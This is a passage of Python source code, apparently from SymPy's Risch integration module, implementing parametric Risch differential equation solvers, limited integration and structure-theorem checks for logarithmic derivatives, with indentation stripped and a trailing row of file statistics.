# if and only y0 = Sum(dj*fj, (j, 1, r)) where
# d1, ..., dr ar in Const(k) and
# B*Matrix([c1, ..., cm, d1, ..., dr]) == 0.
# Transform fractions (fa, fd) in f into constant
# polynomials fa/fd in k[t].
# (Is there a better way?)
f = [Poly(fa.as_expr()/fd.as_expr(), t, field=True)
for fa, fd in f]
else:
# Base case. Dy == 0 for all y in k and b == 0.
# Dy + b*y = Sum(ci*qi) is solvable if and only if
# Sum(ci*qi) == 0 in which case the solutions are
# y = d1*f1 for f1 = 1 and any d1 in Const(k) = k.
f = [Poly(1, t, field=True)] # r = 1
B = Matrix([[qi.TC() for qi in Q] + [S(0)]])
# The condition for solvability is
# B*Matrix([c1, ..., cm, d1]) == 0
# There are no constraints on d1.
# Coefficients of t^j (j > 0) in Sum(ci*qi) must be zero.
d = max([qi.degree(DE.t) for qi in Q])
if d > 0:
M = Matrix(d, m, lambda i, j: Q[j].nth(i + 1))
A, _ = constant_system(M, zeros(d, 1), DE)
else:
# No constraints on the hj.
A = Matrix(0, m, [])
# Solutions of the original equation are
# y = Sum(dj*fj, (j, 1, r) + Sum(ei*hi, (i, 1, m)),
# where ei == ci (i = 1, ..., m), when
# A*Matrix([c1, ..., cm]) == 0 and
# B*Matrix([c1, ..., cm, d1, ..., dr]) == 0
# Build combined constraint matrix with m + r + m columns.
r = len(f)
I = eye(m)
A = A.row_join(zeros(A.rows, r + m))
B = B.row_join(zeros(B.rows, m))
C = I.row_join(zeros(m, r)).row_join(-I)
return f + H, A.col_join(B).col_join(C)
def prde_cancel_liouvillian(b, Q, n, DE):
"""
Pg, 237.
"""
H = []
# Why use DecrementLevel? Below line answers that:
# Assuming that we can solve such problems over 'k' (not k[t])
if DE.case == 'primitive':
with DecrementLevel(DE):
ba, bd = frac_in(b, DE.t, field=True)
for i in range(n, -1, -1):
if DE.case == 'exp': # this re-checking can be avoided
with DecrementLevel(DE):
ba, bd = frac_in(b + i*derivation(DE.t, DE)/DE.t,
DE.t, field=True)
with DecrementLevel(DE):
Qy = [frac_in(q.nth(i), DE.t, field=True) for q in Q]
fi, Ai = param_rischDE(ba, bd, Qy, DE)
fi = [Poly(fa.as_expr()/fd.as_expr(), DE.t, field=True)
for fa, fd in fi]
ri = len(fi)
if i == n:
M = Ai
else:
M = Ai.col_join(M.row_join(zeros(M.rows, ri)))
Fi, hi = [None]*ri, [None]*ri
# from eq. on top of p.238 (unnumbered)
for j in range(ri):
hji = fi[j]*DE.t**i
hi[j] = hji
# building up Sum(djn*(D(fjn*t^n) - b*fjnt^n))
Fi[j] = -(derivation(hji, DE) - b*hji)
H += hi
# in the next loop instead of Q it has
# to be Q + Fi taking its place
Q = Q + Fi
return (H, M)
def param_poly_rischDE(a, b, q, n, DE):
"""Polynomial solutions of a parametric Risch differential equation.
Given a derivation D in k[t], a, b in k[t] relatively prime, and q
= [q1, ..., qm] in k[t]^m, return h = [h1, ..., hr] in k[t]^r and
a matrix A with m + r columns and entries in Const(k) such that
a*Dp + b*p = Sum(ci*qi, (i, 1, m)) has a solution p of degree <= n
in k[t] with c1, ..., cm in Const(k) if and only if p = Sum(dj*hj,
(j, 1, r)) where d1, ..., dr are in Const(k) and (c1, ..., cm,
d1, ..., dr) is a solution of Ax == 0.
"""
m = len(q)
if n < 0:
# Only the trivial zero solution is possible.
# Find relations between the qi.
if all([qi.is_zero for qi in q]):
return [], zeros(1, m) # No constraints.
N = max([qi.degree(DE.t) for qi in q])
M = Matrix(N + 1, m, lambda i, j: q[j].nth(i))
A, _ = constant_system(M, zeros(M.rows, 1), DE)
return [], A
if a.is_ground:
# Normalization: a = 1.
a = a.LC()
b, q = b.quo_ground(a), [qi.quo_ground(a) for qi in q]
if not b.is_zero and (DE.case == 'base' or
b.degree() > max(0, DE.d.degree() - 1)):
return prde_no_cancel_b_large(b, q, n, DE)
elif ((b.is_zero or b.degree() < DE.d.degree() - 1)
and (DE.case == 'base' or DE.d.degree() >= 2)):
return prde_no_cancel_b_small(b, q, n, DE)
elif (DE.d.degree() >= 2 and
b.degree() == DE.d.degree() - 1 and
n > -b.as_poly().LC()/DE.d.as_poly().LC()):
raise NotImplementedError("prde_no_cancel_b_equal() is "
"not yet implemented.")
else:
# Liouvillian cases
if DE.case == 'primitive' or DE.case == 'exp':
return prde_cancel_liouvillian(b, q, n, DE)
else:
raise NotImplementedError("non-linear and hypertangent "
"cases have not yet been implemented")
# else: deg(a) > 0
# Iterate SPDE as long as possible cumulating coefficient
# and terms for the recovery of original solutions.
alpha, beta = 1, [0]*m
while n >= 0: # and a, b relatively prime
a, b, q, r, n = prde_spde(a, b, q, n, DE)
beta = [betai + alpha*ri for betai, ri in zip(beta, r)]
alpha *= a
# Solutions p of a*Dp + b*p = Sum(ci*qi) correspond to
# solutions alpha*p + Sum(ci*betai) of the initial equation.
d = a.gcd(b)
if not d.is_ground:
break
# a*Dp + b*p = Sum(ci*qi) may have a polynomial solution
# only if the sum is divisible by d.
qq, M = poly_linear_constraints(q, d)
# qq = [qq1, ..., qqm] where qqi = qi.quo(d).
# M is a matrix with m columns an entries in k.
# Sum(fi*qi, (i, 1, m)), where f1, ..., fm are elements of k, is
# divisible by d if and only if M*Matrix([f1, ..., fm]) == 0,
# in which case the quotient is Sum(fi*qqi).
A, _ = constant_system(M, zeros(M.rows, 1), DE)
# A is a matrix with m columns and entries in Const(k).
# Sum(ci*qqi) is Sum(ci*qi).quo(d), and the remainder is zero
# for c1, ..., cm in Const(k) if and only if
# A*Matrix([c1, ...,cm]) == 0.
V = A.nullspace()
# V = [v1, ..., vu] where each vj is a column matrix with
# entries aj1, ..., ajm in Const(k).
# Sum(aji*qi) is divisible by d with exact quotient Sum(aji*qqi).
# Sum(ci*qi) is divisible by d if and only if ci = Sum(dj*aji)
# (i = 1, ..., m) for some d1, ..., du in Const(k).
# In that case, solutions of
# a*Dp + b*p = Sum(ci*qi) = Sum(dj*Sum(aji*qi))
# are the same as those of
# (a/d)*Dp + (b/d)*p = Sum(dj*rj)
# where rj = Sum(aji*qqi).
if not V: # No non-trivial solution.
return [], eye(m) # Could return A, but this has
# the minimum number of rows.
Mqq = Matrix([qq]) # A single row.
r = [(Mqq*vj)[0] for vj in V] # [r1, ..., ru]
# Solutions of (a/d)*Dp + (b/d)*p = Sum(dj*rj) correspond to
# solutions alpha*p + Sum(Sum(dj*aji)*betai) of the initial
# equation. These are equal to alpha*p + Sum(dj*fj) where
# fj = Sum(aji*betai).
Mbeta = Matrix([beta])
f = [(Mbeta*vj)[0] for vj in V] # [f1, ..., fu]
#
# Solve the reduced equation recursively.
#
g, B = param_poly_rischDE(a.quo(d), b.quo(d), r, n, DE)
# g = [g1, ..., gv] in k[t]^v and and B is a matrix with u + v
# columns and entries in Const(k) such that
# (a/d)*Dp + (b/d)*p = Sum(dj*rj) has a solution p of degree <= n
# in k[t] if and only if p = Sum(ek*gk) where e1, ..., ev are in
# Const(k) and B*Matrix([d1, ..., du, e1, ..., ev]) == 0.
# The solutions of the original equation are then
# Sum(dj*fj, (j, 1, u)) + alpha*Sum(ek*gk, (k, 1, v)).
# Collect solution components.
h = f + [alpha*gk for gk in g]
# Build combined relation matrix.
A = -eye(m)
for vj in V:
A = A.row_join(vj)
A = A.row_join(zeros(m, len(g)))
A = A.col_join(zeros(B.rows, m).row_join(B))
return h, A
def param_rischDE(fa, fd, G, DE):
"""
Solve a Parametric Risch Differential Equation: Dy + f*y == Sum(ci*Gi, (i, 1, m)).
Given a derivation D in k(t), f in k(t), and G
= [G1, ..., Gm] in k(t)^m, return h = [h1, ..., hr] in k(t)^r and
a matrix A with m + r columns and entries in Const(k) such that
Dy + f*y = Sum(ci*Gi, (i, 1, m)) has a solution y
in k(t) with c1, ..., cm in Const(k) if and only if y = Sum(dj*hj,
(j, 1, r)) where d1, ..., dr are in Const(k) and (c1, ..., cm,
d1, ..., dr) is a solution of Ax == 0.
Elements of k(t) are tuples (a, d) with a and d in k[t].
"""
m = len(G)
q, (fa, fd) = weak_normalizer(fa, fd, DE)
# Solutions of the weakly normalized equation Dz + f*z = q*Sum(ci*Gi)
# correspond to solutions y = z/q of the original equation.
gamma = q
G = [(q*ga).cancel(gd, include=True) for ga, gd in G]
a, (ba, bd), G, hn = prde_normal_denom(fa, fd, G, DE)
# Solutions q in k<t> of a*Dq + b*q = Sum(ci*Gi) correspond
# to solutions z = q/hn of the weakly normalized equation.
gamma *= hn
A, B, G, hs = prde_special_denom(a, ba, bd, G, DE)
# Solutions p in k[t] of A*Dp + B*p = Sum(ci*Gi) correspond
# to solutions q = p/hs of the previous equation.
gamma *= hs
g = A.gcd(B)
a, b, g = A.quo(g), B.quo(g), [gia.cancel(gid*g, include=True) for
gia, gid in G]
# a*Dp + b*p = Sum(ci*gi) may have a polynomial solution
# only if the sum is in k[t].
q, M = prde_linear_constraints(a, b, g, DE)
# q = [q1, ..., qm] where qi in k[t] is the polynomial component
# of the partial fraction expansion of gi.
# M is a matrix with m columns and entries in k.
# Sum(fi*gi, (i, 1, m)), where f1, ..., fm are elements of k,
# is a polynomial if and only if M*Matrix([f1, ..., fm]) == 0,
# in which case the sum is equal to Sum(fi*qi).
M, _ = constant_system(M, zeros(M.rows, 1), DE)
# M is a matrix with m columns and entries in Const(k).
# Sum(ci*gi) is in k[t] for c1, ..., cm in Const(k)
# if and only if M*Matrix([c1, ..., cm]) == 0,
# in which case the sum is Sum(ci*qi).
## Reduce number of constants at this point
V = M.nullspace()
# V = [v1, ..., vu] where each vj is a column matrix with
# entries aj1, ..., ajm in Const(k).
# Sum(aji*gi) is in k[t] and equal to Sum(aji*qi) (j = 1, ..., u).
# Sum(ci*gi) is in k[t] if and only is ci = Sum(dj*aji)
# (i = 1, ..., m) for some d1, ..., du in Const(k).
# In that case,
# Sum(ci*gi) = Sum(ci*qi) = Sum(dj*Sum(aji*qi)) = Sum(dj*rj)
# where rj = Sum(aji*qi) (j = 1, ..., u) in k[t].
if not V: # No non-trivial solution
return [], eye(m)
Mq = Matrix([q]) # A single row.
r = [(Mq*vj)[0] for vj in V] # [r1, ..., ru]
# Solutions of a*Dp + b*p = Sum(dj*rj) correspond to solutions
# y = p/gamma of the initial equation with ci = Sum(dj*aji).
try:
# We try n=5. At least for prde_spde, it will always
# terminate no matter what n is.
n = bound_degree(a, b, r, DE, parametric=True)
except NotImplementedError:
# A temporary bound is set. Eventually, it will be removed.
# the currently added test case takes large time
# even with n=5, and much longer with large n's.
n = 5
h, B = param_poly_rischDE(a, b, r, n, DE)
# h = [h1, ..., hv] in k[t]^v and and B is a matrix with u + v
# columns and entries in Const(k) such that
# a*Dp + b*p = Sum(dj*rj) has a solution p of degree <= n
# in k[t] if and only if p = Sum(ek*hk) where e1, ..., ev are in
# Const(k) and B*Matrix([d1, ..., du, e1, ..., ev]) == 0.
# The solutions of the original equation for ci = Sum(dj*aji)
# (i = 1, ..., m) are then y = Sum(ek*hk, (k, 1, v))/gamma.
## Build combined relation matrix with m + u + v columns.
A = -eye(m)
for vj in V:
A = A.row_join(vj)
A = A.row_join(zeros(m, len(h)))
A = A.col_join(zeros(B.rows, m).row_join(B))
## Eliminate d1, ..., du.
W = A.nullspace()
# W = [w1, ..., wt] where each wl is a column matrix with
# entries blk (k = 1, ..., m + u + v) in Const(k).
# The vectors (bl1, ..., blm) generate the space of those
# constant families (c1, ..., cm) for which a solution of
# the equation Dy + f*y == Sum(ci*Gi) exists. They generate
# the space and form a basis except possibly when Dy + f*y == 0
# is solvable in k(t}. The corresponding solutions are
# y = Sum(blk'*hk, (k, 1, v))/gamma, where k' = k + m + u.
v = len(h)
M = Matrix([wl[:m] + wl[-v:] for wl in W]) # excise dj's.
N = M.nullspace()
# N = [n1, ..., ns] where the ni in Const(k)^(m + v) are column
# vectors generating the space of linear relations between
# c1, ..., cm, e1, ..., ev.
C = Matrix([ni[:] for ni in N]) # rows n1, ..., ns.
return [hk.cancel(gamma, include=True) for hk in h], C
def limited_integrate_reduce(fa, fd, G, DE):
"""
Simpler version of step 1 & 2 for the limited integration problem.
Given a derivation D on k(t) and f, g1, ..., gn in k(t), return
(a, b, h, N, g, V) such that a, b, h in k[t], N is a non-negative integer,
g in k(t), V == [v1, ..., vm] in k(t)^m, and for any solution v in k(t),
c1, ..., cm in C of f == Dv + Sum(ci*wi, (i, 1, m)), p = v*h is in k<t>, and
p and the ci satisfy a*Dp + b*p == g + Sum(ci*vi, (i, 1, m)). Furthermore,
if S1irr == Sirr, then p is in k[t], and if t is nonlinear or Liouvillian
over k, then deg(p) <= N.
So that the special part is always computed, this function calls the more
general prde_special_denom() automatically if it cannot determine that
S1irr == Sirr. Furthermore, it will automatically call bound_degree() when
t is linear and non-Liouvillian, which for the transcendental case, implies
that Dt == a*t + b with for some a, b in k*.
"""
dn, ds = splitfactor(fd, DE)
E = [splitfactor(gd, DE) for _, gd in G]
En, Es = list(zip(*E))
c = reduce(lambda i, j: i.lcm(j), (dn,) + En) # lcm(dn, en1, ..., enm)
hn = c.gcd(c.diff(DE.t))
a = hn
b = -derivation(hn, DE)
N = 0
# These are the cases where we know that S1irr = Sirr, but there could be
# others, and this algorithm will need to be extended to handle them.
if DE.case in ['base', 'primitive', 'exp', 'tan']:
hs = reduce(lambda i, j: i.lcm(j), (ds,) + Es) # lcm(ds, es1, ..., esm)
a = hn*hs
b -= (hn*derivation(hs, DE)).quo(hs)
mu = min(order_at_oo(fa, fd, DE.t), min([order_at_oo(ga, gd, DE.t) for
ga, gd in G]))
# So far, all the above are also nonlinear or Liouvillian, but if this
# changes, then this will need to be updated to call bound_degree()
# as per the docstring of this function (DE.case == 'other_linear').
N = hn.degree(DE.t) + hs.degree(DE.t) + max(0, 1 - DE.d.degree(DE.t) - mu)
else:
# TODO: implement this
raise NotImplementedError
V = [(-a*hn*ga).cancel(gd, include=True) for ga, gd in G]
return (a, b, a, N, (a*hn*fa).cancel(fd, include=True), V)
def limited_integrate(fa, fd, G, DE):
"""
Solves the limited integration problem: f = Dv + Sum(ci*wi, (i, 1, n))
"""
fa, fd = fa*Poly(1/fd.LC(), DE.t), fd.monic()
# interpretting limited integration problem as a
# parametric Risch DE problem
Fa = Poly(0, DE.t)
Fd = Poly(1, DE.t)
G = [(fa, fd)] + G
h, A = param_rischDE(Fa, Fd, G, DE)
V = A.nullspace()
V = [v for v in V if v[0] != 0]
if not V:
return None
else:
# we can take any vector from V, we take V[0]
c0 = V[0][0]
# v = [-1, c1, ..., cm, d1, ..., dr]
v = V[0]/(-c0)
r = len(h)
m = len(v) - r - 1
C = list(v[1: m + 1])
y = -sum([v[m + 1 + i]*h[i][0].as_expr()/h[i][1].as_expr() \
for i in range(r)])
y_num, y_den = y.as_numer_denom()
Ya, Yd = Poly(y_num, DE.t), Poly(y_den, DE.t)
Y = Ya*Poly(1/Yd.LC(), DE.t), Yd.monic()
return Y, C
def parametric_log_deriv_heu(fa, fd, wa, wd, DE, c1=None):
"""
Parametric logarithmic derivative heuristic.
Given a derivation D on k[t], f in k(t), and a hyperexponential monomial
theta over k(t), raises either NotImplementedError, in which case the
heuristic failed, or returns None, in which case it has proven that no
solution exists, or returns a solution (n, m, v) of the equation
n*f == Dv/v + m*Dtheta/theta, with v in k(t)* and n, m in ZZ with n != 0.
If this heuristic fails, the structure theorem approach will need to be
used.
The argument w == Dtheta/theta
"""
# TODO: finish writing this and write tests
c1 = c1 or Dummy('c1')
p, a = fa.div(fd)
q, b = wa.div(wd)
B = max(0, derivation(DE.t, DE).degree(DE.t) - 1)
C = max(p.degree(DE.t), q.degree(DE.t))
if q.degree(DE.t) > B:
eqs = [p.nth(i) - c1*q.nth(i) for i in range(B + 1, C + 1)]
s = solve(eqs, c1)
if not s or not s[c1].is_Rational:
# deg(q) > B, no solution for c.
return None
M, N = s[c1].as_numer_denom()
nfmwa = N*fa*wd - M*wa*fd
nfmwd = fd*wd
Qv = is_log_deriv_k_t_radical_in_field(N*fa*wd - M*wa*fd, fd*wd, DE,
'auto')
if Qv is None:
# (N*f - M*w) is not the logarithmic derivative of a k(t)-radical.
return None
Q, v = Qv
if Q.is_zero or v.is_zero:
return None
return (Q*N, Q*M, v)
if p.degree(DE.t) > B:
return None
c = lcm(fd.as_poly(DE.t).LC(), wd.as_poly(DE.t).LC())
l = fd.monic().lcm(wd.monic())*Poly(c, DE.t)
ln, ls = splitfactor(l, DE)
z = ls*ln.gcd(ln.diff(DE.t))
if not z.has(DE.t):
# TODO: We treat this as 'no solution', until the structure
# theorem version of parametric_log_deriv is implemented.
return None
u1, r1 = (fa*l.quo(fd)).div(z) # (l*f).div(z)
u2, r2 = (wa*l.quo(wd)).div(z) # (l*w).div(z)
eqs = [r1.nth(i) - c1*r2.nth(i) for i in range(z.degree(DE.t))]
s = solve(eqs, c1)
if not s or not s[c1].is_Rational:
# deg(q) <= B, no solution for c.
return None
M, N = s[c1].as_numer_denom()
nfmwa = N.as_poly(DE.t)*fa*wd - M.as_poly(DE.t)*wa*fd
nfmwd = fd*wd
Qv = is_log_deriv_k_t_radical_in_field(nfmwa, nfmwd, DE)
if Qv is None:
# (N*f - M*w) is not the logarithmic derivative of a k(t)-radical.
return None
Q, v = Qv
if Q.is_zero or v.is_zero:
return None
return (Q*N, Q*M, v)
def parametric_log_deriv(fa, fd, wa, wd, DE):
# TODO: Write the full algorithm using the structure theorems.
# try:
A = parametric_log_deriv_heu(fa, fd, wa, wd, DE)
# except NotImplementedError:
# Heuristic failed, we have to use the full method.
# TODO: This could be implemented more efficiently.
# It isn't too worrisome, because the heuristic handles most difficult
# cases.
return A
def is_deriv_k(fa, fd, DE):
r"""
Checks if Df/f is the derivative of an element of k(t).
a in k(t) is the derivative of an element of k(t) if there exists b in k(t)
such that a = Db. Either returns (ans, u), such that Df/f == Du, or None,
which means that Df/f is not the derivative of an element of k(t). ans is
a list of tuples such that Add(*[i*j for i, j in ans]) == u. This is useful
for seeing exactly which elements of k(t) produce u.
This function uses the structure theorem approach, which says that for any
f in K, Df/f is the derivative of a element of K if and only if there are ri
in QQ such that::
--- --- Dt
\ r * Dt + \ r * i Df
/ i i / i --- = --.
--- --- t f
i in L i in E i
K/C(x) K/C(x)
Where C = Const(K), L_K/C(x) = { i in {1, ..., n} such that t_i is
transcendental over C(x)(t_1, ..., t_i-1) and Dt_i = Da_i/a_i, for some a_i
in C(x)(t_1, ..., t_i-1)* } (i.e., the set of all indices of logarithmic
monomials of K over C(x)), and E_K/C(x) = { i in {1, ..., n} such that t_i
is transcendental over C(x)(t_1, ..., t_i-1) and Dt_i/t_i = Da_i, for some
a_i in C(x)(t_1, ..., t_i-1) } (i.e., the set of all indices of
hyperexponential monomials of K over C(x)). If K is an elementary extension
over C(x), then the cardinality of L_K/C(x) U E_K/C(x) is exactly the
transcendence degree of K over C(x). Furthermore, because Const_D(K) ==
Const_D(C(x)) == C, deg(Dt_i) == 1 when t_i is in E_K/C(x) and
deg(Dt_i) == 0 when t_i is in L_K/C(x), implying in particular that E_K/C(x)
and L_K/C(x) are disjoint.
The sets L_K/C(x) and E_K/C(x) must, by their nature, be computed
recursively using this same function. Therefore, it is required to pass
them as indices to D (or T). E_args are the arguments of the
hyperexponentials indexed by E_K (i.e., if i is in E_K, then T[i] ==
exp(E_args[i])). This is needed to compute the final answer u such that
Df/f == Du.
log(f) will be the same as u up to a additive constant. This is because
they will both behave the same as monomials. For example, both log(x) and
log(2*x) == log(x) + log(2) satisfy Dt == 1/x, because log(2) is constant.
Therefore, the term const is returned. const is such that
log(const) + f == u. This is calculated by dividing the arguments of one
logarithm from the other. Therefore, it is necessary to pass the arguments
of the logarithmic terms in L_args.
To handle the case where we are given Df/f, not f, use is_deriv_k_in_field().
See also
========
is_log_deriv_k_t_radical_in_field, is_log_deriv_k_t_radical
"""
# Compute Df/f
dfa, dfd = (fd*derivation(fa, DE) - fa*derivation(fd, DE)), fd*fa
dfa, dfd = dfa.cancel(dfd, include=True)
# Our assumption here is that each monomial is recursively transcendental
if len(DE.exts) != len(DE.D):
if [i for i in DE.cases if i == 'tan'] or \
(set([i for i in DE.cases if i == 'primitive']) -
set(DE.indices('log'))):
raise NotImplementedError("Real version of the structure "
"theorems with hypertangent support is not yet implemented.")
# TODO: What should really be done in this case?
raise NotImplementedError("Nonelementary extensions not supported "
"in the structure theorems.")
E_part = [DE.D[i].quo(Poly(DE.T[i], DE.T[i])).as_expr() for i in DE.indices('exp')]
L_part = [DE.D[i].as_expr() for i in DE.indices('log')]
lhs = Matrix([E_part + L_part])
rhs = Matrix([dfa.as_expr()/dfd.as_expr()])
A, u = constant_system(lhs, rhs, DE)
if not all(derivation(i, DE, basic=True).is_zero for i in u) or not A:
# If the elements of u are not all constant
# Note: See comment in constant_system
# Also note: derivation(basic=True) calls cancel()
return None
else:
if not all(i.is_Rational for i in u):
raise NotImplementedError("Cannot work with non-rational "
"coefficients in this case.")
else:
terms = ([DE.extargs[i] for i in DE.indices('exp')] +
[DE.T[i] for i in DE.indices('log')])
ans = list(zip(terms, u))
result = Add(*[Mul(i, j) for i, j in ans])
argterms = ([DE.T[i] for i in DE.indices('exp')] +
[DE.extargs[i] for i in DE.indices('log')])
l = []
ld = []
for i, j in zip(argterms, u):
# We need to get around things like sqrt(x**2) != x
# and also sqrt(x**2 + 2*x + 1) != x + 1
# Issue 10798: i need not be a polynomial
i, d = i.as_numer_denom()
icoeff, iterms = sqf_list(i)
l.append(Mul(*([Pow(icoeff, j)] + [Pow(b, e*j) for b, e in iterms])))
dcoeff, dterms = sqf_list(d)
ld.append(Mul(*([Pow(dcoeff, j)] + [Pow(b, e*j) for b, e in dterms])))
const = cancel(fa.as_expr()/fd.as_expr()/Mul(*l)*Mul(*ld))
return (ans, result, const)
def is_log_deriv_k_t_radical(fa, fd, DE, Df=True):
r"""
Checks if Df is the logarithmic derivative of a k(t)-radical.
b in k(t) can be written as the logarithmic derivative of a k(t) radical if
there exist n in ZZ and u in k(t) with n, u != 0 such that n*b == Du/u.
Either returns (ans, u, n, const) or None, which means that Df cannot be
written as the logarithmic derivative of a k(t)-radical. ans is a list of
tuples such that Mul(*[i**j for i, j in ans]) == u. This is useful for
seeing exactly what elements of k(t) produce u.
This function uses the structure theorem approach, which says that for any
f in K, Df is the logarithmic derivative of a K-radical if and only if there
are ri in QQ such that::
--- --- Dt
\ r * Dt + \ r * i
/ i i / i --- = Df.
--- --- t
i in L i in E i
K/C(x) K/C(x)
Where C = Const(K), L_K/C(x) = { i in {1, ..., n} such that t_i is
transcendental over C(x)(t_1, ..., t_i-1) and Dt_i = Da_i/a_i, for some a_i
in C(x)(t_1, ..., t_i-1)* } (i.e., the set of all indices of logarithmic
monomials of K over C(x)), and E_K/C(x) = { i in {1, ..., n} such that t_i
is transcendental over C(x)(t_1, ..., t_i-1) and Dt_i/t_i = Da_i, for some
a_i in C(x)(t_1, ..., t_i-1) } (i.e., the set of all indices of
hyperexponential monomials of K over C(x)). If K is an elementary extension
over C(x), then the cardinality of L_K/C(x) U E_K/C(x) is exactly the
transcendence degree of K over C(x). Furthermore, because Const_D(K) ==
Const_D(C(x)) == C, deg(Dt_i) == 1 when t_i is in E_K/C(x) and
deg(Dt_i) == 0 when t_i is in L_K/C(x), implying in particular that E_K/C(x)
and L_K/C(x) are disjoint.
The sets L_K/C(x) and E_K/C(x) must, by their nature, be computed
recursively using this same function. Therefore, it is required to pass
them as indices to D (or T). L_args are the arguments of the logarithms
indexed by L_K (i.e., if i is in L_K, then T[i] == log(L_args[i])). This is
needed to compute the final answer u such that n*f == Du/u.
exp(f) will be the same as u up to a multiplicative constant. This is
because they will both behave the same as monomials. For example, both
exp(x) and exp(x + 1) == E*exp(x) satisfy Dt == t. Therefore, the term const
is returned. const is such that exp(const)*f == u. This is calculated by
subtracting the arguments of one exponential from the other. Therefore, it
is necessary to pass the arguments of the exponential terms in E_args.
To handle the case where we are given Df, not f, use
is_log_deriv_k_t_radical_in_field().
See also
========
is_log_deriv_k_t_radical_in_field, is_deriv_k
"""
H = []
if Df:
dfa, dfd = (fd*derivation(fa, DE) - fa*derivation(fd, DE)).cancel(fd**2,
include=True)
else:
dfa, dfd = fa, fd
# Our assumption here is that each monomial is recursively transcendental
if len(DE.exts) != len(DE.D):
if [i for i in DE.cases if i == 'tan'] or \
(set([i for i in DE.cases if i == 'primitive']) -
set(DE.indices('log'))):
raise NotImplementedError("Real version of the structure "
"theorems with hypertangent support is not yet implemented.")
# TODO: What should really be done in this case?
raise NotImplementedError("Nonelementary extensions not supported "
"in the structure theorems.")
E_part = [DE.D[i].quo(Poly(DE.T[i], DE.T[i])).as_expr() for i in DE.indices('exp')]
L_part = [DE.D[i].as_expr() for i in DE.indices('log')]
lhs = Matrix([E_part + L_part])
rhs = Matrix([dfa.as_expr()/dfd.as_expr()])
A, u = constant_system(lhs, rhs, DE)
if not all(derivation(i, DE, basic=True).is_zero for i in u) or not A:
# If the elements of u are not all constant
# Note: See comment in constant_system
# Also note: derivation(basic=True) calls cancel()
return None
else:
if not all(i.is_Rational for i in u):
# TODO: But maybe we can tell if they're not rational, like
# log(2)/log(3). Also, there should be an option to continue
# anyway, even if the result might potentially be wrong.
raise NotImplementedError("Cannot work with non-rational "
"coefficients in this case.")
else:
n = reduce(ilcm, [i.as_numer_denom()[1] for i in u])
u *= n
terms = ([DE.T[i] for i in DE.indices('exp')] +
[DE.extargs[i] for i in DE.indices('log')])
ans = list(zip(terms, u))
result = Mul(*[Pow(i, j) for i, j in ans])
# exp(f) will be the same as result up to a multiplicative
# constant. We now find the log of that constant.
argterms = ([DE.extargs[i] for i in DE.indices('exp')] +
[DE.T[i] for i in DE.indices('log')])
const = cancel(fa.as_expr()/fd.as_expr() -
Add(*[Mul(i, j/n) for i, j in zip(argterms, u)]))
return (ans, result, n, const)
def is_log_deriv_k_t_radical_in_field(fa, fd, DE, case='auto', z=None):
"""
Checks if f can be written as the logarithmic derivative of a k(t)-radical.
It differs from is_log_deriv_k_t_radical(fa, fd, DE, Df=False)
for any given fa, fd, DE in that it finds the solution in the
given field not in some (possibly unspecified extension) and
"in_field" with the function name is used to indicate that.
f in k(t) can be written as the logarithmic derivative of a k(t) radical if
there exist n in ZZ and u in k(t) with n, u != 0 such that n*f == Du/u.
Either returns (n, u) or None, which means that f cannot be written as the
logarithmic derivative of a k(t)-radical.
case is one of {'primitive', 'exp', 'tan', 'auto'} for the primitive,
hyperexponential, and hypertangent cases, respectively. If case is 'auto',
it will attempt to determine the type of the derivation automatically.
See also
========
is_log_deriv_k_t_radical, is_deriv_k
"""
fa, fd = fa.cancel(fd, include=True)
# f must be simple
n, s = splitfactor(fd, DE)
if not s.is_one:
pass
z = z or Dummy('z')
H, b = residue_reduce(fa, fd, DE, z=z)
if not b:
# I will have to verify, but I believe that the answer should be
# None in this case. This should never happen for the
# functions given when solving the parametric logarithmic
# derivative problem when integration elementary functions (see
# Bronstein's book, page 255), so most likely this indicates a bug.
return None
roots = [(i, i.real_roots()) for i, _ in H]
if not all(len(j) == i.degree() and all(k.is_Rational for k in j) for
i, j in roots):
# If f is the logarithmic derivative of a k(t)-radical, then all the
# roots of the resultant must be rational numbers.
return None
# [(a, i), ...], where i*log(a) is a term in the log-part of the integral
# of f
respolys, residues = list(zip(*roots)) or [[], []]
# Note: this might be empty, but everything below should work find in that
# case (it should be the same as if it were [[1, 1]])
residueterms = [(H[j][1].subs(z, i), i) for j in range(len(H)) for
i in residues[j]]
# TODO: finish writing this and write tests
p = cancel(fa.as_expr()/fd.as_expr() - residue_reduce_derivation(H, DE, z))
p = p.as_poly(DE.t)
if p is None:
# f - Dg will be in k[t] if f is the logarithmic derivative of a k(t)-radical
return None
if p.degree(DE.t) >= max(1, DE.d.degree(DE.t)):
return None
if case == 'auto':
case = DE.case
if case == 'exp':
wa, wd = derivation(DE.t, DE).cancel(Poly(DE.t, DE.t), include=True)
with DecrementLevel(DE):
pa, pd = frac_in(p, DE.t, cancel=True)
wa, wd = frac_in((wa, wd), DE.t)
A = parametric_log_deriv(pa, pd, wa, wd, DE)
if A is None:
return None
n, e, u = A
u *= DE.t**e
elif case == 'primitive':
with DecrementLevel(DE):
pa, pd = frac_in(p, DE.t)
A = is_log_deriv_k_t_radical_in_field(pa, pd, DE, case='auto')
if A is None:
return None
n, u = A
elif case == 'base':
# TODO: we can use more efficient residue reduction from ratint()
if not fd.is_sqf or fa.degree() >= fd.degree():
# f is the logarithmic derivative in the base case if and only if
# f = fa/fd, fd is square-free, deg(fa) < deg(fd), and
# gcd(fa, fd) == 1. The last condition is handled by cancel() above.
return None
# Note: if residueterms = [], returns (1, 1)
# f had better be 0 in that case.
n = reduce(ilcm, [i.as_numer_denom()[1] for _, i in residueterms], S(1))
u = Mul(*[Pow(i, j*n) for i, j in residueterms])
return (n, u)
elif case == 'tan':
raise NotImplementedError("The hypertangent case is "
"not yet implemented for is_log_deriv_k_t_radical_in_field()")
elif case in ['other_linear', 'other_nonlinear']:
# XXX: If these are supported by the structure theorems, change to NotImplementedError.
raise ValueError("The %s case is not supported in this function." % case)
else:
raise ValueError("case must be one of {'primitive', 'exp', 'tan', "
"'base', 'auto'}, not %s" % case)
common_denom = reduce(ilcm, [i.as_numer_denom()[1] for i in [j for _, j in
residueterms]] + [n], S(1))
residueterms = [(i, j*common_denom) for i, j in residueterms]
m = common_denom//n
if common_denom != n*m: # Verify exact division
raise ValueError("Inexact division")
u = cancel(u**m*Mul(*[Pow(i, j) for i, j in residueterms]))
return (common_denom, u)
| 40.123922 | 110 | 0.561222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 28,281 | 0.552817 |
